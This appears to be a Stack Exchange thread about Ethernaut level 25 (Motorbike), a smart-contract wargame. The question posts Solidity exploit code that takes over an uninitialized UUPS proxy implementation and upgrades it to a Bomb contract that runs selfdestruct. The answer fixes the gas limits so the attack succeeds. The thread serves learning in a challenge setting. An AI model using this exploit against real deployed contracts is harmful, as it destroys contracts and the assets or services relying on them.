0

I am wondering why my following solution to ethernaut's level 25 doesn't work when I execute it: (My own solution was similar to this blog post: https://medium.com/@appsbylamby/ethernaut-25-motorbikewalkthrough-3e1feeee6a4c, but when mine didn't work, I tried using this one and it still doesn't work XD)

// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/proxy/Initializable.sol';
// original Engine address
contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
    uint256 public horsePower;
struct AddressSlot {
        address value;
    }
function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }
// Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }
// Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r.slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}
contract Exploder {
     Engine public originalContract = Engine(0x7931Bbf577f711e015200dffe10498B409bdb156);
     event logEvent(bool, bytes);
     
   function attackEngine() external  {
       (bool success, bytes memory data) = address(originalContract).call{gas:7000}(abi.encodeWithSignature('initialize()'));
       emit logEvent(success, data);
    }
    
    function destroyWithBomb() external {
        // pass in a bomb which blows up when initialize is called
        Bomb bomb = new Bomb();
        
       (bool success, bytes memory data) =  address(originalContract).call{gas:7000}(abi.encodeWithSignature('upgradeToAndCall(address,bytes)',address(bomb), abi.encodeWithSignature("initialize()")));
emit logEvent(success, data);
    }
}
contract Bomb {
function initialize() external {
        selfdestruct(msg.sender);
    }
}

this is the etherscan link, could anyone please explain why the call function keeps failing? thank you.

1 Answer 1

3

Your issues are here :

(bool success, bytes memory data) = address(originalContract).call{gas:7000}(abi.encodeWithSignature("initialize()"));

And here :

(bool success, bytes memory data) =  address(originalContract).call{gas:7000}(abi.encodeWithSignature("upgradeToAndCall(address,bytes)",address(bomb), abi.encodeWithSignature("initialize()")));

In the medium post you provided, there is no hard cap of 7000 gas.

If you look at the function initialize it does 2 write to storage : upgrader and horsePower that's already at least more than 40K gas required.

upgradeToAndCall consumes at least 20K gas since it overwrites the implementation storage slot.

Your calls simply cannot succeed as you are not giving enough gas.

Switch to this and it will work as it will transfer all gas available :

(bool success, bytes memory data) = address(originalContract).call(abi.encodeWithSignature("initialize()"));

And this :

(bool success, bytes memory data) =  address(originalContract).call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)",address(bomb), abi.encodeWithSignature("initialize()")));

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.